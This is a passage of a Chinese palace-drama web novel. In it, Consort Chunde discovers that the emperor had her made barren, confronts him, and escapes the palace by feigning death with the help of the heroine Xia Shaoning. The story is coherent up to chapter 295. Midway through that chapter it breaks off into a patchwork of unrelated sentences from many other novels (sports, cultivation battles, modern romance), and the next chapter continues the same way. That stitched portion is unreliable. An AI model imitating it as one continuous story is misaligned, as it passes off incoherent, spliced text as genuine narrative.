令人意外的是,到了这个时候了,纯德妃的脑子居然是前所未有的清醒。 在她的心里,夏韶宁是何等谨慎又精明的人,为着两个不确定会不会出生,出生后也不确定会不会成器的孩子,赌上她这些年来苦心经营好不容易才拥有的一切……纯德妃觉得,夏韶宁不会做这种事。 果然,经过纯德妃这一番分析以后,刚刚还叫嚣着要夏韶宁付出代价的仪淑妃,才渐渐安静下来。 “你若是要查你便去查,别拉上本宫,本宫是不会掺和到你的这些事情里去的。” 留下这句话,纯德妃便也带着宫女转身离开了。 如今的纯德妃,心里已经有了自己的想法,现在差的就是最后一步求证了。 当然,她是不会把自己的想法告诉仪淑妃的。 因为她们本来就不是一路人。她要做什么,也与其他人无关。 *** 纯德妃与仪淑妃后来发生了什么,夏韶宁并不知道。当然,她也不想知道。 承乾宫。 “惜春,传我的话,从今日起,无论仪淑妃与纯德妃要在后宫里盘问什么,或者要任何部门出示什么东西,都由着她们去,不必阻拦。” 只要一想到刚刚仪淑妃与纯德妃看向她的那个眼神,夏韶宁就觉得心里憋得慌。 她当然知道她们两人这些年来一直未曾有孕的真相,只是她不能说出来。 或者说,这件事不能从她的嘴里说出来。 不过从前她一直以为萧祈安只是偷偷给纯德妃下了绝子药,今日仪淑妃的这番话才让她明白了,原来这些年来萧祈安不仅在防着纯德妃身后的傅家,他也用一样的方法在防着仪淑妃身后的燕家。 站在这两个女人的角度上想一想,这男人,还真的是有够绝情的。 “娘娘,这件事儿您要同圣上通个气吗?” 惜春作为夏韶宁多年的心腹,她当然也知道其中的弯绕。可是如今这件被隐藏了十多年的真相眼见着就要被揭开了,她还是有些担心会影响到自家娘娘。 “我为什么要说?我们就当什么都不知道,看戏就好了。” 夏韶宁摇了摇头,不以为意。 “不管她们怎么斗,只要不伤到我与我的孩子,我就当作看戏了。” 毕竟这件事情,本来也就与她无关。 该担心的人不是她,而是另有其人。 第291章 所谓真相(中) 纯德妃回到未央宫以后,在自己的宫里坐了很久。 自进宫到现在,与萧祈安相处的那些画面在她的脑子里来来回回闪现了无数遍。她就那样坐在窗户前,时而大笑时而流泪,把她的贴身宫女都吓得不轻。 “娘娘,您……您还好吗?”扶摇小心翼翼地走到纯德妃的身边,递了一杯热茶给她,“您怎么了?” “无事。”纯德妃接过了扶摇递过来的茶喝了一口,缓声道,“给本宫换身衣裳,就穿那套本宫最喜欢的红色骑装,然后陪本宫去一趟紫宸殿吧。” 扶摇不明白自家娘娘好端端的为何要在宫里穿骑装,但是她看着纯德妃这般情绪不稳定的样子,也不敢问太多,只是应声去了。 紫宸殿外。 纯德妃来到紫宸殿的时候,萧祈安还在里头同大臣们议事,见着她来了二话不说直接就想往殿里去,张全和急忙上前拦住了她。 “给纯德妃娘娘请安,圣上如今正在紫宸殿同大臣们议事,您不能进去。” 听得张全和这番公事公办的话,纯德妃什么话都没说。她冷冷地瞥了张全和一眼,直接从身后就掏出了她的枪一把就杵到了地上。 张全和被她这番举动吓了一大跳,心想这纯德妃娘娘可真是够虎的了,如此脸色不善还带着武器来紫宸殿寻圣上,这是来寻圣上说话呢,还是打架啊? “本宫不想为难张公公,你只需要进去向圣上通报一声,就说本宫此刻有重要的事情要找他。若是他不见本宫,本宫就要举着这柄枪直接冲到紫宸殿里去了!” 纯德妃伸出手来细细摸了摸她手中的那柄枪,慢条斯理地吐出了这句话。 “娘娘您别急,奴才这就进去同圣上说一声。”张全和低下头应了一句,忙往殿里去了。 “外头做什么吵吵嚷嚷的?”张全和刚躬着身子去了殿内,萧祈安便皱着眉头问他。 张全和也顾不上此时殿内还有好几位大臣在场,忙对着萧祈安道,“回陛下,纯德妃娘娘不知怎么了,今日好端端地举着一柄长枪站在紫宸殿门外非要见陛下。她还说……若是陛下今日不见她,她就要举着手中的枪冲进来了!” 张全和的话音刚落,在场的兵部尚书等人的脸色瞬间变了,随即急忙对着萧祈安行了一礼道,“陛下如今似乎有事要忙,微臣们就先行告退了。” “嗯,南豫的事情下次再议,如今情况不甚乐观,诸位也都上些心。” 萧祈安眉头紧皱,对着众人摆了摆手。见众人退了下去,才转头对着张全和道,“让她进来!” 纯德妃就这样穿着骑装举着一把枪,面无表情地站在了萧祈安的面前。 “你这是做什么?你以为这是在军营里?你来面见朕还带着枪,是想要干什么?” 萧祈安看着眼前的纯德妃,面上瞬间露出了一丝不悦的表情。 “干什么?陛下难道不知道臣妾想干什么吗?” 纯德妃死死握着手里那柄枪,抬起头看着萧祈安用那看仇人般的目光盯着自己,只觉得悲凉的可笑。 事到如今,她觉得也没必要再同萧祈安打什么哑谜了,此时的她真的迫切地需要知道一个真相,也算是给她自己这些年来一个交代。 “陛下,臣妾进宫这么多年一直未有身孕,这件事情,同陛下有没有关系?” !!! 萧祈安根本没想过纯德妃今日居然是为着这件事情来的,听着她这番尖锐的问题,一时之间也怔住了。 但是帝王之所以能成为帝王,他的情绪控制能力肯定是高于常人的。哪怕此时他心中已经思绪翻涌了,面上的表情却仍旧一点儿变化也没有。 “朕不明白你在说什么。”萧祈安转过身来,不再看她。 “都到了如今这个时候了,陛下还要继续欺瞒臣妾吗?”看着萧祈安听得自己的问题居然是这种表情,纯德妃心中的悲凉又在不知不觉中扩大了好几分。 她跟着萧祈安转身,始终倔强地站在他的面前,死死地盯着他的眼睛。 “这么多年来,臣妾一直怀疑是自己的身子有问题,所以才一直怀不上孩子。陛下应该不知道,臣妾因着这件事情偷偷地在私底下流过多少眼泪,又发疯似的怨恨过自己多少次。” “哪怕是这样,臣妾也从来没有怀疑过陛下,怀疑是陛下压根不想要臣妾生下属于我们两人的孩子。” 说到这里,纯德妃再也忍不住了,泪水顺着她的脸颊就落了下来,大滴大滴地滴落在殿内暗红色的地毯上,将地毯沾湿了一大片。 “你在哪里听到了什么传言,好端端的同朕说这些做什么?这些年来,宫里所有的太医都给你看过,个个都说你身子没有问题,你怀不上孩子,又与朕有什么关系?”话虽然是这么说,但是说这话的时候萧祈安还是避开了纯德妃的眼睛。 “太医?宫里的太医全都长着一条舌头,他们说出口的话,当然是陛下想让他们说的。” 纯德妃觉得萧祈安的话实在可笑,“既然陛下这么说,那您敢不敢就现在,请一位宫外的大夫给臣妾与仪淑妃看一看,看看在我们的身体里,是不是早就被陛下默许下了绝子药!!” “臣妾与仪淑妃,一个身后站着的是文臣首领,一个身后站着武将首领。您害怕我们两人生下孩子,以后会有外戚干政的麻烦事,所以索性几副绝子药直接断了我们两人这辈子做母亲的权利!陛下啊陛下,您真的好狠的心啊!” 此时的纯德妃,早就已经哭得站不起身子了。她脸上的妆容早就花了,这会儿只是蜷缩着身子跪坐在地上,口中不住发出悲伤的呜咽声。 只是她的手中,仍旧死死握住她的那柄枪。 那是陪着她在战场上杀人无数的枪,这么多年了,却只能如同她这个人一样,躲在她院子里的兵器架上一日日的不见天日。 这可真是天大的委屈! 第292章 所谓真相(下) “鸣玉,有些事情其实是不用弄的那样清楚明白的。很多事情了解得越多,只会让你越痛苦,你可明白?” 这会儿的萧祈安,忽然也觉得有些累了。 他居高临下地看了纯德妃好一会儿,最后到底还是朝着她伸出了手,想将她从地上拉起来。 只是很可惜,纯德妃并不买账。 她不顾自己满脸是泪,骤然抬起头来对着萧祈安质问道,“陛下,事到如今,臣妾只有一句话想问您,希望您看在臣妾伺候了您这十多年的份上,不要再欺骗臣妾了。” “您可曾爱过我?” 短短六个字说出口,仿佛耗费了纯德妃全身的力气。明明已经觉得很累了,但是她还是强撑着身子死死盯着面前萧祈安的眼睛,不肯错过他一点点细微的表情变化。 萧祈安就这样被纯德妃盯着,盯得他感觉自己已经完全无法逃避掉纯德妃这番炙热的目光。 两人对视了很长很长时间,直到最后,萧祈安到底还是败下了阵来。 “朕承认,当时年少,的确曾对你动过心。但是那到底是不是爱,朕自己都弄不明白。” “而后便是五六年的分离,再见你,朕已经没了当初的那种感觉了。或者说,朕心里已经有爱的人了。” “朕以为你一直都是明白的,当年允你进宫,很大程度是因着傅将军的原因。你家世高,这是你的优点也是你致命的缺点。正因为你与仪淑妃的家世太高,所以从一开始朕就没想过让你们生孩子。” “鸣玉,朕可以给你地位,给你尊重,给你这辈子用不完的钱财。但是唯有爱与孩子,朕真的没有办法给你。” 萧祈安这番话说得很慢,只是他每说一句,纯德妃便觉得自己的心又往下沉了一寸。说到最后,她便觉得自己的心早就已经千疮百孔了。 话已经说到这个份上了,她还有什么不明白的呢? “哈哈哈哈哈哈,可笑,当真是可笑啊!”听着萧祈安的这番话,纯德妃笑着笑着就又哭了起来。 也不知道她哭了多久,萧祈安也没有出声阻止她,只是站在一旁面无表情的看着她。 那个眼神怎么形容呢,就和在看一个发疯的疯子没什么两样。 “原来这么多年,一直都是我自己在唱独角戏。我本以为陛下能念着少时的那一点点情分,心中能有哪怕一点点我的位置都好。可是今日您的这些话,才是彻底将我这么多年的美梦给击了个粉碎。” 这个时候,纯德妃已经不哭了。她伸出手来随意擦了擦脸上的眼泪,抓着她那柄枪摇摇晃晃地从地上站了起来。 “陛下,这辈子,下辈子,我们都不要再见了吧。” 此时的纯德妃已经不想再看萧祈安了,她推开了他朝着自己伸过来的双手,就好像推开了自己心中那个永远只有十六岁的少年。 “鸣玉,你去哪里?鸣玉!傅鸣玉!” 萧祈安看着失魂落魄离开紫宸殿的纯德妃,想要出声喊住她。但是眼前的纯德妃却好像什么都听不到般只是一个劲地往前走,最后消失在了萧祈安的视线里。 而此时的萧祈安,忽然就感觉心中有个声音在和他说——结束了,你和她,终于结束了。 *** 纯德妃与萧祈安那日在紫宸殿发生的事情夏韶宁丝毫不知,她只是后来听李顺提了一嘴,说今日纯德妃不知发了什么疯,好端端地提了一柄枪就闯到紫宸殿要见圣上。 夏韶宁不禁在心中琢磨着,难道是纯德妃她知道了这件事情的真相吗?可是若是真的知道了,没理由这么多天她却一点儿反应都没有啊。 谁知道三日后,毫无征兆的,纯德妃忽然只身一人来到了夏韶宁的承乾宫。 她的这番举动倒是让夏韶宁吃了一惊。 毕竟两人同为宫妃这么多年了,纯德妃从来就没有主动来过她的宫里拜访过她。 “给昭贵妃请安。”眼见着夏韶宁从内殿出来,纯德妃忽然就朝着她跪了下来,行了一个宫妃之间最大的礼。 “你这是做什么?”夏韶宁就这样站在纯德妃的面前,看着她朝着自己磕了三个头,却始终没有伸手扶她起来。 因为她搞不清楚纯德妃今日这般葫芦里到底是卖的什么药,也不敢贸然对她做什么。 纯德妃倒是也没管夏韶宁对她是什么态度,磕完头以后她便又自顾自地从地上站了起来。 “我从一开始就知道,不会是你给我与仪淑妃下的绝子药,这些年来你虽然受宠,但是我料想你还没有那么大的本事。” 纯德妃面无表情地看了一眼夏韶宁,夏韶宁这才惊觉她那张已经略显老态的脸上,居然没有任何表情。 是的,喜怒哀乐,任何表情都没有,整个人看上去活脱脱就像一尊没有生命的泥像。 “所以……你知道是谁给你们下的药了?”夏韶宁皱了皱眉头,随后将目光又投到了她身上。 “你不必装了,我不怪你没有将真相告诉我。人都是有私心的,若是换位思考,我也未必会主动去管这件闲事。”纯德妃漫不经心道。 “当初我装病争宠,你来给我把脉,把完了以后只说为我不值。那个时候我并不明白你为何同我说这句话,还觉得你在嘲笑我甚至嫉妒我。” “时间一晃这么多年,我才终于明白你的意思,可惜已经晚了。十五年了,我整整被禁锢在这皇宫里十五年了!为着那样一个男人,的确不值。” 夏韶宁就那样看着纯德妃坐在椅子上自言自语,她忽然之间也不知道该说什么。 安慰她吗?倒是显得有些马后炮了。劝解她吗?她们两人的关系似乎还没有好到那种程度。 所以夏韶宁只能被动选择了沉默。 “你放心,我不是来找你诉苦的。我知道你一直不喜欢我,我们俩的关系也并没有好到能让你听我诉苦的程度。” 说完这句话,也不等夏韶宁开口,纯德妃却忽然“腾”的一下从椅子上站了起来,走到了夏韶宁的身边。 “今日我来,就是想要求你帮我一个忙。我知道在这个宫里,也只有你才能帮我了。” 第293章 任性 “你想要做什么?杀人放火的事情本宫可不帮你做!” 看着纯德妃靠近自己,夏韶宁本能地站起身来与她拉开了一大段距离。 “是啊,若是杀人不犯法,我还真的想要杀了他。”听得夏韶宁的话,纯德妃忽然就苍白地笑了笑。 “只是我虽然恨他,却也不得不承认,他是个好皇帝,只是对我狠心而已。” “那你想要做什么?”夏韶宁有些疑惑,“只是先说好,超出本宫能力范围的事情,本宫可不会帮你。” “这件事情对别人来说或许很难,但是对你来说却很简单。”纯德妃顿了顿,眼神忽然死死粘在了夏韶宁的身上。 “从前不知道真相的时候,我尚能靠着从前与他的那一点点回忆支撑着自己在这深宫里一日日地熬下去。” “可是如今我已经什么都知道了,便再也无法继续自欺欺人下去了。所以……” 说到这儿,她忽然压低声音对着夏韶宁无比认真道,“求你想个办法,帮我出宫,我再也不想继续在这宫里待下去了!在这宫里的每一刻,都让我觉得无比的煎熬,再待下去,我怕是真的要死在这里了!” “你知道你在说什么吗?!你疯了不成?!” 夏韶宁千想万想,也想不到纯德妃的请求居然会是这个,瞬间被吓了一大跳。 “先不说私放宫妃出宫这件事会给本宫带来多大的麻烦,就说若是你偷偷出宫被圣上发现了,这可是连累你们傅家全族的大事啊!” “你难道就没想过你的父亲傅将军吗?他都这把年纪了还为着大容尽职尽责地守在越州边境,抵御着南豫的那群蛮子的进犯,他为着什么?难道不是为了让你在这后宫里的日子好过一些吗?” 纯德妃一开始的脸上是没有什么表情的,哪怕提到自己这些年来识人不清给她带来的痛苦,她也没有掉一滴泪。 她以为自己所有的眼泪,都在那一日萧祈安与她坦白真相的时候流光了。 可是当她听到夏韶宁提起自己那已经年逾古稀的老父亲,她的泪水却忽然好想决了堤一般从疯狂从那双无神的眼睛里溢了出来。 “我对不起父亲!当初是我不听他的话,寻死觅活非要入宫当宫妃,若不是我这样执拗,或许我与父亲这些年来都不会这样痛苦!”纯德妃低下头,不愿意让夏韶宁看到她脸上的泪。 哪怕这个时候的夏韶宁,已经什么都看到了。 “你若是下半辈子不想再见到他,本宫可以做主将你迁到离紫宸殿最远的颐华宫里去。本宫同你保证,以后颐华宫里不会有其他后来的宫妃住进去。你平日里想做什么都好,没人会管着你,你可以清清静静地在那里过完你的下半生。” “本宫也可以下旨,你以后都不需要参与这宫里的任何宴会,初一十五也无需来承乾宫同本宫请安,若是无事也不许其他宫妃去打扰你。” 夏韶宁一边说,一边不自觉地又走到了纯德妃的面前。 “女人不是离了爱情就不能活的,你今年也才三十八岁,你还有很长很长的日子可以过,你不要犯傻。” 纯德妃从来没发现,被自己一直以来都当成竞争对象的昭贵妃,到了如今这个时候会站在她的角度为她考虑那么多。 说实话,她倒是真的有那么一丝感动,也差一点就被她说服了。 只是她低下头沉默了很长很长时间,再抬起头的时候,却还是朝着夏韶宁坚定地摇了摇头。 “求你了,求你帮帮我!我知道你师从大容名医公孙信,若是真的没办法光明正大的让我离开,那不如,想一点儿其他的办法?” “我知道这个世间有一种假死药,服下以后它能让人的呼吸和脉搏都暂时停止。到了一定的时间以后,人又可以完好无损地醒过来。” “公孙信的医术那么厉害,你当了他那么多年的徒弟,你一定有这种药,求你帮帮我!我真的只能相信你了!” 说到这里,纯德妃说话的语气里甚至已经带上了掩饰不住的哭腔,整个人也好似一颗浮萍一般,随时都会飘走了。 此时的夏韶宁,双手都被纯德妃死死的握住了,她的心里瞬间也纠结了起来。 站在她的角度上,她当然是不愿意去管这件闲事的。私自帮助宫妃逃出宫,这件事情若是被萧祈安知道了,还不知道他会生多大的气呢。 可是看着纯德妃如今这般仿佛只剩下半口气的样子,夏韶宁真的有理由怀疑,若是自己不帮着她出宫,她可能随时都会离开人世。 穿越到大容这么多年了,夏韶宁一直在小心翼翼地计算着自己的人生。 早期计算着如何哄得萧祈安开心,如何从他手里得到更多的财富,如何与王府后院那群各怀心机的女人们周旋。 入宫以后又开始计算着如何保护好自己的孩子,如何为自己的孩子铺路,如何让后宫那群女人们心甘情愿地听自己的话,如何当好这个一人之下万人之上的贵妃。 她每一步都计算得仔仔细细,生怕行差踏错了一步,就会让自己落入万劫不复的深渊。 唯独今日纯德妃求她的这件事情,夏韶宁没有算到过,这是她人生里的一场意外。 只是不知为何,她忽然就很想让这场意外变成现实。 连她自己都不知道为什么。 “罢了,就当本宫疯了,也由着自己任性一回。”也不知道在内心纠结了多久,夏韶宁终于对着纯德妃出声了。 “本宫手里有一种药,吃下以后会让你的脉象显示出得了重病,命不久矣。” “为了不让人怀疑你是自杀,你得装出得了重病的样子,大概半月后,我再想办法把那个假死药给你。” “等你假死后,本宫会亲自筹备你的丧礼,到时候你随着棺椁入了皇陵以后,宫外自然会有人接应你。” 夏韶宁把自己说话的声音压到最低,小心翼翼地对着纯德妃嘱咐道,“你醒了以后,拿上本宫给你准备的银票和包袱离开金州城,走得越远越好,这辈子都不要再回到金州城了!你听明白了没有?” 第294章 飞走了 纯德妃病了。 从上一次她提着枪闯进紫宸殿过后不到十日,她忽然就病了。 这场病来得很快,纯德妃也病得很严重。不过半个月的时候,她整个人已经完全没了精气神,也就是一口气吊着了。 萧祈安一开始还以为她又是如多年前那般故技重施,想要通过装病这个手段来他面前争宠。 可是当他几次三番去到未央宫想要见纯德妃一面,却次次被她拒绝的时候,萧祈安才忽然意识到,之前她说的那句“再也不要相见”,是真的。 她是真的不想要见他,一面都不想要见。 几日后,紫宸殿。 “陛下,纯德妃娘娘大限将至,怕是……只剩下这几日了。” 在太医院的太医们终于意识到,哪怕倾尽太医院所有太医的毕生所学也没办法将纯德妃的病治好的时候,太医令终于冒着必死的决心来到紫宸殿将一切都告诉了萧祈安。 这会儿的萧祈安正在批折子,因着最近他的心情都很差,所以今日特意将夏韶宁召来了紫宸殿伴驾。 听得太医令的这句话,萧祈安与夏韶宁不约而同地将头抬了起来。 太医令本以为这番话说完自己的脑袋和脖子怕是也要分家了,只是出乎他意料之外的,萧祈安却只是十分冷静地回了他一句—— “朕知道了,你下去吧。” 夏韶宁抬起头来看着太医令仿佛劫后余生般地从紫宸殿退了出去,这会儿便又继续漫不经心地低下头来给萧祈安磨墨了。 “宁儿没有什么想问的吗?” 萧祈安拿着手中的朱笔却迟迟没有在摊在他面前的那份奏折上写下一个字,他只是有些奇怪他身边的夏韶宁为何一句话都没有说,什么问题都没有问。 “生老病死乃人之常情,臣妾没有什么好问的。”夏韶宁一边说,手中磨墨的动作却没有停下,说话的语气也显得十分淡然。 “朕做了对不起她的事情,所以她不肯见朕。若是她这一次真的撑不过去了,她的……丧礼,还要宁儿多费心。” 顿了好一会儿,萧祈安才有些艰难地吐出了这番话。 “陛下不说,臣妾也会的,这都是臣妾分内的事情。”听得萧祈安踌躇了半天才说出了这番话,夏韶宁的心中到底还是怔了一下。 一个倔强到哪怕装死也要偷偷出宫,到最后也不肯见她心爱的男人最后一面。另外一个……也就能真的忍着说不见就不见了。 哪怕这个人陪伴了他已经十多年了,哪怕这个人……她马上就要死了。 她不禁在心里轻轻地叹了一口气,也为自己庆幸还好当初年少的时候没有因为萧祈安所谓的宠爱与偏爱就让自己动了心。 动了心却得不到回应的女人,这辈子真的活得太苦太苦了。 *** 光启十七年七月廿九,纯德妃傅鸣玉病逝于未央宫无忧殿内,享年三十八岁。 纯德妃的棺椁在未央宫停灵满了十五天后,就被葬至了皇陵内。 许是萧祈安对纯德妃始终心存愧疚,他特许纯德妃的棺椁可以葬在单独的一间皇陵内。 而就在所有的仪式结束,无关人员全部离开以后,躺在棺椁里已经沉睡了半月余的傅鸣玉,终于睁开了眼睛…… …… 承乾宫。 夏韶宁坐在窗前,内心焦急地等着李顺带回来的消息。许是她这些年的生活总是忙忙碌碌的,她竟是觉得这几个时辰过得无比的漫长。 终于,三个时辰后,夏韶宁终于将神色匆匆的李顺给盼了回来。 “怎么样了,事情都办妥了没有?”眼见着李顺入了殿来,夏韶宁忙给含秋使了个眼色让她将殿内所有无关的宫人都带了下去,随即便立刻迫不及待地问道。 “娘娘放心,一切顺利。”李顺小心翼翼地走到了夏韶宁的身边,对着她轻声耳语道,“咱们的人会亲自送德妃娘娘出金州。” 说起来也多亏了夏韶宁这般习惯性为自己留后路又时时擅于筹谋的性子,当年蕙心与兰芷出嫁以后,夏韶宁就让她们两人在宫外帮着自己偷偷养了一群绝对忠诚的心腹。 这群人基本上都是无父无母的孤儿,平日里的身份或许是蕙心府中的家丁婢女,也可能是兰芷店铺中的伙计跑堂。 但是一旦她在宫中遇到什么需要宫外的人帮忙解决的事情的时候,这群人也可以是身手了得的暗卫,甚至是可以为了她卖命的……死士。 “她有没有说她准备去哪里?”听得李顺的回话,夏韶宁这会儿才觉得心中的那块大石头瞬间落了地。 “哦对了,德妃娘娘临上马车的时候,让奴才务必要将这封信亲自交到娘娘的手上。”说着,李顺便伸出手来将藏得很深的那封信双手交到了夏韶宁的手上。 夏韶宁有些疑惑地接过了那封信,却发现偌大的信纸上居然只有几行字。 “我去越州找我父亲了,这么多年了,我才发现我从来都不属于皇宫,只有在战场上的我才是最快活的。” “你不必惦念我,也不必特意去寻我,若是有缘,我们终究会再见。谢谢你为了我做的一切,祝你与六皇子在剩下的日子里能够所愿皆所得,我会在远方永远为你们祈祷与祝福。” “鸣玉,敬上。” “雄鹰终究还是要回到属于她的草原上去的,她飞走了,希望她下半辈子能开心快活,也不枉费我如此费心为她筹谋的这一切。” 一字一句读完傅鸣玉的信,夏韶宁忽然觉得自己的心也跟着开阔了许多。 她捏着傅鸣玉留给她的信,站在床边往越州的方向看了很久,最终还是将那封信放在蜡烛上烧掉了。 “德妃娘娘真的很洒脱。”就在夏韶宁站在床边沉思的时候,李顺便已经悄无声息地退了出去,惜春与含秋不知何时站到了她的身后。 “她真的是个很神奇的人,你说她清醒吧,她居然妄想在皇帝身上找真爱。你说她愚蠢吧,她却有勇气能舍弃这么多年的沉默成本重新开始。” “若我与她不是在这深宫里相遇,想来应当能成为一对知心的朋友,可惜了。” 夏韶宁扯着嘴角笑了笑,最终还是缓缓道,“希望她下半辈子能真的过上她想过的生活,连带着我的那份自由,高高地在天空中翱翔!” 第295章 不安分 纯德妃的这件事情就这样悄无声息地翻了篇,前朝后宫的人提到她也不过感叹一声英年早逝而已。至于再多的话,也就没有了。 夏韶宁本来以为仪淑妃会借着纯德妃的这件事情闹起来的,但是出人意料的是,她忽然就在后宫里沉寂了下来。 仿佛之前当着夏韶宁的面咄咄逼人一定要自己给一个解释的人不是她一样。 夏韶宁一开始还在怀疑这仪淑妃是不是想要在暗地里又使什么坏,但是很快,她就没有心思再管仪淑妃到底是有什么其他想法了。 因为,南豫...... 甚至可以说,秦家对官家只有唯一的一个条件,让官雅儿改嫁,改嫁给秦家的那个大傻子。 他的身体,并没有顷刻炸裂,而是就这样一个部位一个部位的炸裂。 起哄声再起,当然还是那帮洛媛集团的人,杜洛都有点听不下去了,这都是什么玩意,看着白寒江头也不回的离开篮球馆。 安念楚眼睛有些肿涩,眼角有些湿润,她知道哭没有用,可是眼泪还是充满了她的眼,她看着他,心一阵阵的抽疼,本来就不该跟他有任何牵扯,本来就应该躲的远远的,她为什么就是不长记性,就是想回来,就是想靠近他。 如果不是他,她不会崴脚,也就不会导致今天再次崴脚,那钻心的疼,让她害怕伤到骨头,她瘫软的坐在地上去,却动都不敢动一下。 “不,必须得打一场,你越是这样,我就越是怀疑你的能力”伊然说道。 何腾蛟有必要过来,提醒一下高义欢,让他不要再搞事情,否则逼死了我何腾蛟,你高义欢也没好果子吃。 “你到底是做什么的?”我奇怪,身边的人随随便便居然能拿这么多钱。 想到青丝的兄长,天生心中的震惊顿时被愤怒所代替,不就是一个妖王家族吗?我天生一不求你,二不靠你,三不贪图你家族的东西,至于用那种语气和我说话吗?别人怕你狐家,我天生可没有放在眼里。 回到宾馆,高燕换好衣服,又简单化了下妆,然后,按路军信息里的提示,向周思国请客的宾馆走去。 “没想到其中的道道还真不少。”陈琅琊点头道,不过看着体育馆外面那些急不可耐的看客,也只能无奈苦笑。为了看场球,可谓是吃尽辛苦,到最后却是竹篮打水一场空,连馆门都没进去。 金上智当然不是来找天生的,他就算再厉害也不可能知道天生这个时候会在金乌岛上。他回来自然是另有目的的。 所以,此时,她看着李茂阳谄媚地笑着叫着她骆奶奶走过来,就很有些懵。 清晨,上海的天空有些灰茫茫的,一朵朵厚厚的云朵遮蔽了炙热了阳光,寒风呼啸,让人微微一寒。 青衣焦急的跑了进来,她的手里还拿着糕点,差点被门槛绊倒,幸好扶住一旁的门框。 天生也没有在意,只是认为这大概是酒性太烈,所以才会有如此高温。 梁颜走到那把匕首面前,随后就拿起来仔细看了一下,忍不住笑出声。 何顾在现代这个大染缸里深受熏陶,知道有些事要么不干,要干就别瞻前顾后。所以在光天化日之下他做起那些栽赃陷害碰瓷勒索的事情简直是如鱼得水。 “他们,走了多久了?”看着夜老王爷曾经住过的院子,风天翼不禁问道。 苗若兰忽然想起自己临走之前留下的傀儡,是应该去见见他们的时候了。 展若婉微一沉吟,回头看了看坐在那品茗的苗若兰,包大人与公孙先生都是聪明人,展若婉既想到了这二位又如何想不到。 四目相对之间,夜轻羽吓了一跳,放开墨夕,蓦然后退一步,拉开了一点距离。 话还未说完,她便愣住了,直愣愣地站在大开的墨府大门前,看着长长的台阶下,那安静停在大雨中的马车。 地底弥漫的威压越来越强烈,四周死气,尸气的阻力也越来越大,五行金船已是来到红毛魔尸的地域。 这些家伙可都是打沈冰注意的人,既然被周笑见到了,岂能让他们逃了? 依旧是在一片掌声之中,主持人宣布此次拍卖会圆满结束,共筹的善款额为一亿零三百万,全部用于穷困地区的学校建设。 下巴长了一些胡渣,可这一点儿也不影响冷清风的俊秀容颜。而冷画屏与冷清风的右眼下都有一滴泪痣,这让他们两个更加的相像。 “管家也打过电话,说爷爷让我回家过年 ,不过被我拒绝了。”林音涵漫不经心地说道。 “二丫,今天在家帮我带一天,你明天就去上班!”罗氏中气十足的说道。 林凯恩感受的很清楚,他暗自欢呼雀跃,更加努力的摧残骷髅骑士,只见他随手一挥,已经变为亮黑色的大剑就斩掉十几个骷髅骑士的头颅,而且他们死掉之后,身躯就融化了,与周围的环境一体。 “传闻灵山上不是养着很多妖怪么?怎么这里都没见过一只妖兽?”幕毅心底暗道,他抬眼往前前方,这里离佛寺的圣殿还有很长一段距离。 听到阿波罗说的话,雅典娜的脸上充满了怒意。身上的肌肉紧绷,全身发力,一脚踹向最先冲过来的太阳卫杀手。 “所以你不要入他的会,差不多就是不靠谱的……”末了,她又叮嘱了一句。 但虽然两方粉丝互掐,可依旧相安无事,蓝玉拍她的电影,夏萦拍她的电视剧。 而欢乐大酒楼,开业至今,生意一直是蒸蒸日上,国庆中秋,以及接下去的元旦,春节,这都是可以预见的宴席高峰期,可能只要做到过完年,差不多就能够收回成本了。 不过当前摆在他面前的并不是对自己的兄弟们问罪,而是要查清袭击杨敢的家伙到底是谁? 柳昊他们从白泽的办公室离开以后,却也并没有就此分开,而是又在道法系的办公室聚集了起来。 当然,这不是贬低寒大人的意思,而是陈述事实而已——古月村所有幸存者,对寒大人的尊敬,都是打从心底尊敬的,无半分虚假,不管寒大人变成什么样,这份真诚感情,都不会改变。 毕竟光是这个熊头人怪物的身高,就已经是他们这些人的五到六倍了,这样的身高与体型差距,自然也是相当明显的。 第296章 战况不佳 很简单的面,是的,很简单,其实还是挂面的,上面飘了几片新鲜的青菜叶子,还有炒的好吃的西红柿,两个荷包蛋,上面再是洒了一些切的细细的葱花,闻起来十分香。 她知道,达奚丰赡并不是她该肖想的,她也很努力尝试过驱散心头的那道身影,可却依旧做不到。 本来在孩子还没出生的时候,权家人就已经想了不少名字了,可总是想了一个又一个,随后推翻一个又一个。 “普通人?”雷清仪站了起来,也是居高临下俯视着黄毛那一脸的垂死挣扎。 陆泽涛有些怯懦地缩了缩肩膀,要不要救裴冉?可是看到齐苑脸上凶狠的神色,他就觉得刚才脑袋上被她戳过的地方,一阵一阵刺痛起来。 米苏拧着眉头,目光静静地落在那个芯片上,随后又看着桌面上的那些照片,双手握得紧紧的,似乎正在挣扎。 看着这宫殿极尽富丽堂皇,不过是一个五岁的孩子,但是就看到周围的这一切已经是让他发现了这些东西究竟是有多好看。 而萧陌则是直接用出最强手段,无远弗届加玄火鼎,恐怖的火浪在这一刻席卷天地,随著他三元齐开,身上的气势剧增,早已超越逍遥境,达到齐物境,而且是齐物境中后期。 这个男人之前就经常被人这么盯着,所以他的表现十分的坦然跟大方。 这是两人事先便想好的策略,不管怎么说,工人都是他们这两个厂子的,出了这么大的事,他们都有不可推卸的责任。抢在凌志远之前,主动认错,封住他的嘴,将主动权掌握在自己手中。 别看是断脉山的山脚,可凶兽的声音不断从断脉山中传出,说明了断脉山的凶险。但既然接下了任务,他们肯定是要不惧危险的。 人有七情六欲,喜怒哀乐爱恶欲,陈丹青从她身上看到了一个完整的人格,而不是那个冰冷而高高在上的展姑娘。 一掌的落下,强横的肉身爆发出无上劲力,直接将幽封给震飞了出去,让之毫无招架之力。 “四宗联盟汇聚高手,试图灭杀虫母,周围几乎所有高手都被抽调,我单独有个散修身份,也是收到了邀请。”南顺青神色略带一丝兴奋。 脸色惨白,浑身毫无血色,一副病态的模样,看起来,就像是大限将至,活不了几天。 “人类像是你这样的强者,很多么?”这是日君最为关心的话题,也算是地底人将来肯定会面对的一个事情。 眼看头顶上飞剑掠过,莫凡心中更是愤愤不已,嘟囔着将本命器灵收了起来,站起身就要继续赶路。 “正良,你先和严处长他们过去,我会向市有关领导反映这事的!”张大山直言不讳的说道。 在比赛结束那一刻不论是未来星还是皇马队员都无力的瘫坐在了球场上。 “等我找到十个点,马上就发动。等不及两人都算完了!只要能干扰法阵运行,少死一个是一个!”罗玲道。 罗西唉了一声便转身走向了其他队友开始与所有队友击掌提前庆祝胜利。 从南山的话语里,他想到了自己,想到自己隐姓埋名几年冒着危险混迹在战场上的事情,这就更不用说,本来就对被绑架来这里充满怨恨和敌意的其他人,他们恨不得将那些把自己送过来的家伙杀光。 